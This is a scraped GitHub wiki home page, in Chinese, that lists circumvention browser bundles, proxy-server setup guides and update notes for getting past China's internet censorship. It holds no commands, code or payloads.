value="BQPzq91IsEBS9r+jwR/XVm38bv38iO0gZAS8UpQ9frXP14g4U9YoouFFk/ychCBLkSmg2JW6KZBv6jzyY5Ys2A==" /> <input type="hidden" name="context" value="repository"></input> <button type="submit" class="btn btn-sm btn-with-count js-toggler-target" aria-label="Star this repository" title="Star Alvin9999/new-pac" data-ga-click="Repository, click star button, action:wiki#index; text:Star"> <svg class="octicon octicon-star v-align-text-bottom" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z"/></svg> Star </button> <a class="social-count js-social-count" href="/Alvin9999/new-pac/stargazers" aria-label="10597 users starred this repository"> 10,597 </a> </form> </div> </li> <li> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="btn-with-count" action="/Alvin9999/new-pac/fork" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="30Vh1ipLvlW/0PCnUecaRMVXMrEAkkUtICx4d/UTUZYbhHNFEQj0jQS6H89vocX56OZE3Wr8Y7tdgqTD0JQbgQ==" /> <button type="submit" class="btn btn-sm btn-with-count" data-ga-click="Repository, show fork modal, action:wiki#index; text:Fork" title="Fork your own copy of Alvin9999/new-pac to your account" aria-label="Fork your own copy of Alvin9999/new-pac to your account"> <svg class="octicon octicon-repo-forked v-align-text-bottom" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993 1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg> Fork </button> </form> <a href="/Alvin9999/new-pac/network/members" class="social-count" aria-label="2441 users forked this repository"> 2,441 </a> </li> </ul> <h1 class="public "> <svg class="octicon octicon-repo" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <span class="author" itemprop="author"><a class="url fn" rel="author" data-hovercard-type="user" data-hovercard-url="/hovercards?user_id=12132898" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/Alvin9999">Alvin9999</a></span><!-- --><span class="path-divider">/</span><!-- --><strong itemprop="name"><a data-pjax="#js-repo-pjax-container" href="/Alvin9999/new-pac">new-pac</a></strong> </h1> </div> <nav class="reponav js-repo-nav js-sidenav-container-pjax container-lg p-responsive d-none d-lg-block" itemscope itemtype="http://schema.org/BreadcrumbList" aria-label="Repository" data-pjax="#js-repo-pjax-container"> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a class="js-selected-navigation-item reponav-item" itemprop="url" data-hotkey="g c" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches repo_packages /Alvin9999/new-pac" href="/Alvin9999/new-pac"> <svg class="octicon octicon-code" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14 8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"/></svg> <span itemprop="name">Code</span> <meta itemprop="position" content="1"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" data-hotkey="g i" class="js-selected-navigation-item reponav-item" data-selected-links="repo_issues repo_labels repo_milestones /Alvin9999/new-pac/issues" href="/Alvin9999/new-pac/issues"> <svg class="octicon octicon-issue-opened" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"/></svg> <span itemprop="name">Issues</span> <span class="Counter">321</span> <meta itemprop="position" content="2"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a data-hotkey="g p" itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_pulls checks /Alvin9999/new-pac/pulls" href="/Alvin9999/new-pac/pulls"> <svg class="octicon octicon-git-pull-request" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3 3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993 1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1 3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg> <span itemprop="name">Pull requests</span> <span class="Counter">1</span> <meta itemprop="position" content="3"> </a> </span> <a data-hotkey="g b" class="js-selected-navigation-item reponav-item" data-selected-links="repo_projects new_repo_project repo_project /Alvin9999/new-pac/projects" href="/Alvin9999/new-pac/projects"> <svg class="octicon octicon-project" viewBox="0 0 15 16" version="1.1" width="15" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> Projects <span class="Counter" >0</span> </a> <a class="js-selected-navigation-item selected reponav-item" data-hotkey="g w" aria-current="page" data-selected-links="repo_wiki /Alvin9999/new-pac/wiki" href="/Alvin9999/new-pac/wiki"> <svg class="octicon octicon-book" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3 5h4v1H3V5zm0 3h4V7H3v1zm0 2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1 1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45 1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z"/></svg> Wiki </a> <a class="js-selected-navigation-item reponav-item" data-selected-links="repo_graphs repo_contributors dependency_graph pulse alerts security people /Alvin9999/new-pac/pulse" href="/Alvin9999/new-pac/pulse"> <svg class="octicon octicon-graph" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4 0H7V3h2v10zm4 0h-2V6h2v7z"/></svg> Insights </a> </nav> <div class="reponav-wrapper reponav-small d-lg-none"> <nav class="reponav js-reponav text-center no-wrap" itemscope itemtype="http://schema.org/BreadcrumbList"> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a class="js-selected-navigation-item reponav-item" itemprop="url" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches repo_packages /Alvin9999/new-pac" href="/Alvin9999/new-pac"> <span itemprop="name">Code</span> <meta itemprop="position" content="1"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_issues repo_labels repo_milestones /Alvin9999/new-pac/issues" href="/Alvin9999/new-pac/issues"> <span itemprop="name">Issues</span> <span class="Counter">321</span> <meta itemprop="position" content="2"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_pulls checks /Alvin9999/new-pac/pulls" href="/Alvin9999/new-pac/pulls"> <span itemprop="name">Pull requests</span> <span class="Counter">1</span> <meta itemprop="position" content="3"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_projects new_repo_project repo_project /Alvin9999/new-pac/projects" href="/Alvin9999/new-pac/projects"> <span itemprop="name">Projects</span> <span class="Counter">0</span> <meta itemprop="position" content="4"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item selected reponav-item" aria-current="page" data-selected-links="repo_wiki /Alvin9999/new-pac/wiki" href="/Alvin9999/new-pac/wiki"> <span itemprop="name">Wiki</span> <meta itemprop="position" content="5"> </a> </span> <a class="js-selected-navigation-item reponav-item" data-selected-links="pulse /Alvin9999/new-pac/pulse" href="/Alvin9999/new-pac/pulse"> Pulse </a> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="community /Alvin9999/new-pac/community" href="/Alvin9999/new-pac/community"> Community </a> </span> </nav> </div> </div> <div class="container-lg new-discussion-timeline experiment-repo-nav p-responsive"> <div class="repository-content "> <div id="wiki-wrapper" class="page"> <div class="d-flex flex-column flex-md-row gh-header"> <h1 class="flex-auto min-width-0 mb-2 mb-md-0 mr-0 mr-md-2 gh-header-title instapaper_title">Home</h1> <div class="mt-0 mt-lg-1 flex-shrink-0 gh-header-actions"> <a href="#wiki-pages-box" class="d-md-none ">Jump to bottom</a> </div> </div> <div class="mt-2 mt-md-1 pb-3 gh-header-meta"> 自由上网 edited this page <relative-time datetime="2019-02-19T14:44:48Z">Feb 19, 2019</relative-time> · <a href="/Alvin9999/new-pac/wiki/Home/_history" class="muted-link"> 1061 revisions </a> </div> <div id="wiki-content" class="d-flex flex-column flex-md-row"> <div id="wiki-body" class="mt-4 flex-auto min-width-0 gollum-markdown-content instapaper_body"> <div class="markdown-body"> <h3> <a id="user-content-自由上网方法" class="anchor" href="#%E8%87%AA%E7%94%B1%E4%B8%8A%E7%BD%91%E6%96%B9%E6%B3%95" aria-hidden="true"><svg class="octicon octicon-link" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong>自由上网方法</strong></strong></strong></strong></strong></strong></strong></strong></strong></strong></strong></strong> </h3> <pre><code> 一键翻墙浏览器 </code></pre> <p>永久免费。不用安装,无需设置,解压后使用。稳定、流畅、高速,长期更新。</p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/%E5%9B%BE%E6%A0%87.PNG" alt=""></p> <p><strong>介绍</strong>:GoProxy ipv6版、GoAgent ipv6版、v2ray版、SSR版、赛风版、WuJie版、FreeGate版、SkyZip版,适合windows操作系统,比如:Xp、win7、win8、win10系统。浏览器自带翻译插件和YouTube视频下载脚本,方便且实用。压缩包文件的格式是7z,如果解压出错,用7解压软件来解压(<a href="https://sparanoid.com/lab/7z/" rel="nofollow">7z解压软件下载地址</a>)。</p> <p><strong>注意</strong>:软件都是采用加密方式的,但为了更稳定、更安全的翻墙,建议卸载国产杀毒软件,至少翻墙时不要用它们!因为很多国产杀毒软件,比如360安全卫生、360杀毒软件、腾讯管家、金山卫士等不仅仅会起干扰作用,造成软件无法正常使用或速度变慢,它们与防火墙还有千丝万缕的关系!其实win10自带的defender就有杀毒的功能,如果还需要安全软件,可以用国外的杀毒软件<a href="http://files.avast.com/iavs9x/avast_free_antivirus_setup_offline.exe" rel="nofollow">avast</a>,防火墙<a href="https://github.com/henrypp/simplewall/releases/download/v.2.3.4/simplewall-2.3.4-setup.exe">simplewall</a>,还有清理软件<a href="http://downloads.wisecleaner.com/soft/WiseCare365.exe" rel="nofollow">wisecare365</a>。它们都是免费的,而且不会干扰电脑运行。</p> <p><strong>选择指南</strong>:有GoProxy ipv6版、GoAgent ipv6版、v2ray版、SSR版、赛风版、WuJie版、FreeGate版、SkyZip版,可以按照顺序依次尝试。由于国内网络环境不同、地区不同,封锁强度会不同,所以使用效果会有差别,有的地区几乎所有的软件都能使用,有的只能用几款,因此具体哪款软件适合你的网络环境,需要你自己来尝试。内存低于2G的电脑建议用<a href="https://github.com/Alvin9999/new-pac/wiki/%E7%81%AB%E7%8B%90%E7%BF%BB%E5%A2%99%E6%B5%8F%E8%A7%88%E5%99%A8">火狐翻墙浏览器</a>。还有<a href="https://github.com/Alvin9999/new-pac/wiki/%E7%9B%B4%E7%BF%BB%E9%80%9A%E9%81%93">直翻通道</a>可供选择,电脑、手机、平板都能使用。如果想自己搭建翻墙服务器,可以学习<a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAss%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建ss/ssr服务器教程</a>或<a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAv2ray%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建v2ray服务器教程</a>。</p> <p><strong>2018年6月6日</strong>:发布<a href="https://gitlab.com/Alvin9999/free/wikis/home" rel="nofollow">备用项目地址</a> 。</p> <p><strong>2019年1月18日公告</strong>:ipv6版国内大多数地区已失效,如果你无法使用ipv6版,请更换其它类型的软件。</p> <p><strong>推荐YouTube视频频道</strong>:<a href="https://www.youtube.com/channel/UCa6ERCDt3GzkvLye32ar89w/videos" rel="nofollow">历史上的今天</a> <a href="https://www.youtube.com/channel/UCtAIPjABiQD3qjlEl1T5VpA/featured" rel="nofollow">文昭談古論今</a></p> <hr> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E9%AB%98%E5%86%85%E6%A0%B8%E7%89%88">谷歌浏览器69高内核版</a> (2019年2月16日更新无界版本至19.02,更新自由门版本至7.66)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/ipv6%E5%BC%80%E5%90%AF%E6%96%B9%E6%B3%95">ipv6开启方法</a> (2018年6月22日更新方法)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/GoAgent-ipv6%E7%89%88">谷歌浏览器低内核GoAgent ipv6版</a> (2018年12月20日云端更新GoAgent ipv6)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/v2ray%E7%89%88">谷歌浏览器低内核v2ray版</a> (2018年12月27日云端更新v2ray配置信息)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/SSR%E7%89%88">谷歌浏览器低内核SSR版</a> (2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%B5%9B%E9%A3%8E%E7%89%88">谷歌浏览器低内核赛风版</a> (2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/FreeGate%E5%92%8CWuJie%E7%89%88">谷歌浏览器低内核FreeGate和WuJie版</a>(2019年2月16日更新无界版本至19.02,更新自由门版本至7.66)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/SkyZip%E7%89%88">谷歌浏览器低内核SkyZip版</a>(2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/GoProxy-ipv6%E7%89%88">谷歌浏览器低内核GoProxy ipv6版</a> (2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E7%81%AB%E7%8B%90%E7%BF%BB%E5%A2%99%E6%B5%8F%E8%A7%88%E5%99%A8">火狐翻墙浏览器</a>(2019年2月16日更新无界版本至19.02,更新自由门版本至7.66)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E7%9B%B4%E7%BF%BB%E9%80%9A%E9%81%93">直翻通道</a> (2018年1月31日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%B0%B7%E6%AD%8C%E9%95%9C%E5%83%8F">谷歌镜像</a> (2018年10月28日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAss%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建SS/SSR服务器教程</a> (2018年11月21日增加SS/SSR部署备用脚本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAv2ray%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建v2ray服务器教程</a> (2019年2月11日更新一键部署v2ray脚本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E5%AE%89%E5%8D%93%E6%89%8B%E6%9C%BA%E7%89%88">安卓手机版</a>(2018年6月24日更新聚缘阁安卓版)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E6%89%8B%E6%9C%BA%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">苹果手机翻墙方法</a>(2018年2月24日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E7%94%B5%E8%84%91MAC%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">MAC翻墙方法</a>(2017年12月25日删除无效方法)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">平板电脑翻墙方法</a>(2018年2月4日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/Linux%E7%B3%BB%E7%BB%9F%E7%BF%BB%E5%A2%99%E6%96%B9%E6%B3%95">Linux系统翻墙方法</a> (2018年5月30日增加Linux SSR 使用方法二)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/YouTube%E4%B8%8B%E8%BD%BD1080%E6%95%99%E7%A8%8B">YouTube下载1080教程</a> (2018年11月25日发布)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E5%AE%9E%E7%94%A8%E7%BD%91%E7%BB%9C%E5%B0%8F%E7%9F%A5%E8%AF%86">实用网络小知识</a> (2018年4月26日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E6%95%B0%E5%AD%97%E5%AE%89%E5%85%A8%E6%89%8B%E5%86%8C">数字安全手册</a> (推荐两本关于网络安全的书籍)</p> <hr> <p>真心希望大家都能够突破网络封锁、获得真相,祝愿每位善良的人都能拥有一个美好的未来。</p> <p>2019年神韵晚会超清预告片<a href="http://108.61.224.82:8000/f/ddd18239a6/" rel="nofollow">在线观看或下载</a></p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/shenyun003.jpg" alt=""></p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/1.JPG" alt=""></p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/2.JPG" alt=""></p> <hr> <p>有问题可以发帖<a href="https://github.com/Alvin9999/new-pac/issues">反馈交流</a>,或者发邮件到海外邮箱<a href="mailto:kebi2014@gmail.com">kebi2014@gmail.com</a>进行反馈,反馈邮件标题最好注明什么软件及截图。</p> </div> </div> <div id="wiki-rightbar" class="mt-4 ml-md-6 flex-shrink-0 width-full wiki-rightbar"> <div id="wiki-pages-box" class="mb-4 wiki-pages-box js-wiki-pages-box" role="navigation"> <div class="Box Box--condensed box-shadow"> <div class="Box-header js-wiki-toggle-collapse" style="cursor: pointer"> <h3 class="Box-title"> <svg class="octicon octicon-triangle-down js-wiki-sidebar-toggle-display" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 5l6 6 6-6H0z"/></svg> <svg class="octicon octicon-triangle-right js-wiki-sidebar-toggle-display d-none" viewBox="0 0 6 16" version="1.1" width="6" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 14l6-6-6-6v12z"/></svg> Pages <span class="Counter Counter--gray">27</span> </h3> </div> <div class=" js-wiki-sidebar-toggle-display"> <div class="filter-bar"> <input type="text" id="wiki-pages-filter" class="form-control input-sm input-block js-filterable-field" placeholder="Find a Page…" aria-label="Find a Page…"> </div> <ul class="m-0 p-0 list-style-none" data-filterable-for="wiki-pages-filter" data-filterable-type="substring"> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki">Home</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/FreeGate%E5%92%8CWuJie%E7%89%88">FreeGate和WuJie版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/GoAgent-ipv6%E7%89%88">GoAgent ipv6版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/GoProxy-ipv6%E7%89%88">GoProxy ipv6版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/ipv6%E5%BC%80%E5%90%AF%E6%96%B9%E6%B3%95">ipv6开启方法</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/Linux%E7%B3%BB%E7%BB%9F%E7%BF%BB%E5%A2%99%E6%96%B9%E6%B3%95">Linux系统翻墙方法</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/SkyZip%E7%89%88">SkyZip版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/SSR%E7%89%88">SSR版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/ss%E5%85%8D%E8%B4%B9%E8%B4%A6%E5%8F%B7">ss免费账号</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/v2ray%E7%89%88">v2ray版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/YouTube%E4%B8%8B%E8%BD%BD1080%E6%95%99%E7%A8%8B">YouTube下载1080教程</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E4%BD%8E%E5%86%85%E6%A0%B8%E7%89%88">低内核版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E5%AE%89%E5%8D%93%E6%89%8B%E6%9C%BA%E7%89%88">安卓手机版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E5%AE%9E%E7%94%A8%E7%BD%91%E7%BB%9C%E5%B0%8F%E7%9F%A5%E8%AF%86">实用网络小知识</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">平板电脑翻墙软件</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E6%95%B0%E5%AD%97%E5%AE%89%E5%85%A8%E6%89%8B%E5%86%8C">数字安全手册</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E7%81%AB%E7%8B%90%E7%BF%BB%E5%A2%99%E6%B5%8F%E8%A7%88%E5%99%A8">火狐翻墙浏览器</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E7%9B%B4%E7%BF%BB%E9%80%9A%E9%81%93">直翻通道</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAgoogle-appid%E6%95%99%E7%A8%8B">自建google appid教程</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAss%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建ss服务器教程</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAv2ray%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建v2ray服务器教程</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E6%89%8B%E6%9C%BA%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">苹果手机翻墙软件</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E7%94%B5%E8%84%91MAC%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">苹果电脑MAC翻墙软件</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%B0%B7%E6%AD%8C%E6%B5%8F%E8%A7%88%E5%99%A8%E5%86%85%E6%A0%B8%E5%8D%87%E7%BA%A7%E6%96%B9%E6%B3%95">谷歌浏览器内核升级方法</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%B0%B7%E6%AD%8C%E9%95%9C%E5%83%8F">谷歌镜像</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%B5%9B%E9%A3%8E%E7%89%88">赛风版</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E9%AB%98%E5%86%85%E6%A0%B8%E7%89%88">高内核版</a></strong> </li> <li class="Box-row wiki-more-pages-link"> <button type="button" class="f6 mx-auto btn-link muted-link js-wiki-more-pages-link"> Show 12 more pages… </button> </li> </ul> </div> </div> </div> <h5 class="mt-0 mb-2">Clone this wiki locally</h5> <div class="width-full input-group"> <input id="wiki-clone-url" type="text" data-autoselect class="form-control input-sm text-small text-gray input-monospace" aria-label="Clone URL for this wiki" value="https://github.com/Alvin9999/new-pac.wiki.git" readonly="readonly"> <span class="input-group-button"> <clipboard-copy for="wiki-clone-url" aria-label="Copy to clipboard" class="btn btn-sm zeroclipboard-button"> <svg class="octicon octicon-clippy" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 13h4v1H2v-1zm5-6H2v1h5V7zm2 3V8l-3 3 3 3v-2h5v-2H9zM4.5 9H2v1h2.5V9zM2 12h2.5v-1H2v1zm9 1h1v2c-.02.28-.11.52-.3.7-.19.18-.42.28-.7.3H1c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h3c0-1.11.89-2 2-2 1.11 0 2 .89 2 2h3c.55 0 1 .45 1 1v5h-1V6H1v9h10v-2zM2 5h8c0-.55-.45-1-1-1H8c-.55 0-1-.45-1-1s-.45-1-1-1-1 .45-1 1-.45 1-1 1H3c-.55 0-1 .45-1 1z"/></svg> </clipboard-copy> </span> </div> </div> </div> </div> <div class="modal-backdrop js-touch-events"></div> </div> </div> </div> </div> <div class="footer container-lg p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 text-gray border-top border-gray-light "> <ul class="list-style-none d-flex flex-wrap col-12 col-lg-6 flex-justify-center flex-lg-justify-start mb-2 mb-lg-0"> <li class="mr-3">© 2019 <span title="0.26529s from unicorn-6b7d8f46b9-6kz2x">GitHub</span>, Inc.</li> <li class="mr-3"><a data-ga-click="Footer, go to terms, text:terms" href="https://github.com/site/terms">Terms</a></li> <li class="mr-3"><a data-ga-click="Footer, go to privacy, text:privacy" href="https://github.com/site/privacy">Privacy</a></li> <li class="mr-3"><a 